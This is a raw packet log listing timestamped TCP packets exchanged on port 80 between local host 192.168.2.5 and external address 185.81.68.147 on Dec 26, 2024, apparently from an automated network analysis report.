Dec 26, 2024 12:05:08.294895887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.294939041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.295905113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.295943022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.295957088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.295970917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.296868086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.296936035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.296978951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.297020912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.297801971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.297863960 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.297918081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.297962904 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.298887968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.298929930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.298943043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.298979044 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.299926043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.299966097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.300049067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.300092936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.300909042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.300956964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.301122904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.301165104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.301995993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.302036047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.302156925 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.302198887 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.302947044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.302993059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.459784031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.459892035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.459980965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.460221052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.460272074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.460299015 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.460335016 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.461261988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.461307049 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.461338997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.461376905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.462328911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.462366104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.462380886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.462418079 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.463340044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.463378906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.463536978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.464328051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.464368105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.464445114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.464483976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.465375900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.465415001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.465450048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.465483904 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.466433048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.466480017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.466485023 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.466514111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.467395067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.467432976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.467509985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.468420982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.468461990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.468549967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.468588114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.469454050 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.469496012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.469540119 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.469578981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.470494032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.470535994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.470576048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.470603943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.471484900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.471530914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.471638918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.472568989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.472609043 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.472645998 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.472682953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.473712921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.473752975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.473932028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.473969936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.474860907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.474900007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.474967003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.475003004 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.475907087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.476000071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.476046085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.476633072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.476677895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.476737976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.476779938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.477677107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.477719069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.477782965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.477821112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.478678942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.478720903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.478737116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.478770971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.479712963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.479837894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.479878902 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.480719090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.480762959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.480855942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.480895042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.481746912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.481810093 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.481847048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.481885910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.483028889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.483071089 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.483134031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.483171940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.484266996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.484280109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.484323978 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.485057116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.485239983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.485290051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.485877037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.485924959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.485996962 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.486037970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.487016916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.487060070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.487082958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.487123966 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.487945080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.488030910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.488075972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.489131927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.489172935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.489204884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.489242077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.489980936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.490021944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.490107059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.490144014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.491066933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.491108894 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.491170883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.491208076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.492111921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.492192984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.492233038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.493038893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.493091106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.493179083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.493221045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.494036913 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.494081974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.494226933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.494268894 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.495047092 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.495090961 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.495130062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.495168924 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.496085882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.496184111 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.496232033 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.497083902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.497132063 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.497195959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.497237921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.498125076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.498167038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.498224020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.498260975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.499162912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.499206066 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.499262094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.499305964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.500226974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.500315905 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.500360966 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.501204014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.501257896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.501308918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.501344919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.502219915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.502262115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.502305984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.502345085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.503298998 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.503338099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.503417969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.503457069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.504513979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.504678011 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.504724026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.505461931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.505501986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.505686045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.505724907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.506320000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.506359100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.506429911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.506468058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.507349968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.507391930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.507524014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.508404016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.508443117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.508450031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.508479118 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.509409904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.509454966 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.509536028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.509574890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.510432959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.510468006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.510557890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.510597944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.511499882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.511568069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.511610985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.512521029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.512563944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.512645960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.512687922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.513453960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.513490915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.670634031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.670663118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.670721054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.670996904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.671037912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.671138048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.671175003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.672174931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.672216892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.672565937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.672606945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.673255920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.673301935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.673369884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.673444986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.674241066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.674288988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.674329996 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.675169945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.675206900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.675286055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.675323009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.676119089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.676160097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.676312923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.676350117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.677195072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.677243948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.677299976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.677340984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.678212881 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.678265095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.678327084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.678361893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.679188967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.679228067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.679323912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.679358959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.680228949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.680272102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.680309057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.680345058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.681232929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.681272030 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.681298971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.681332111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.682250023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.682332993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.682374954 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.683284998 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.683329105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.683377981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.683412075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.684357882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.684401035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.684433937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.684504032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.685360909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.685400963 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.685502052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.685547113 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.686373949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.686408997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.686444044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.686494112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.687376022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.687417030 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.687794924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.687836885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.688450098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.688488960 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.688499928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.688539982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.689423084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.689454079 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.689536095 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.689569950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.690560102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.690615892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.690651894 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.691468954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.691504955 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.691679001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.691713095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.692503929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.692537069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.692557096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.692590952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.693490982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.693523884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.693619967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.694612980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.694650888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.694916010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.694952011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.695676088 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.695712090 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.695746899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.695780993 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.696567059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.696599960 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.696891069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.696924925 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.697611094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.697645903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.697774887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.697808981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.698649883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.698750019 CET	80	49708	185.81.68.147	192.168.2.5
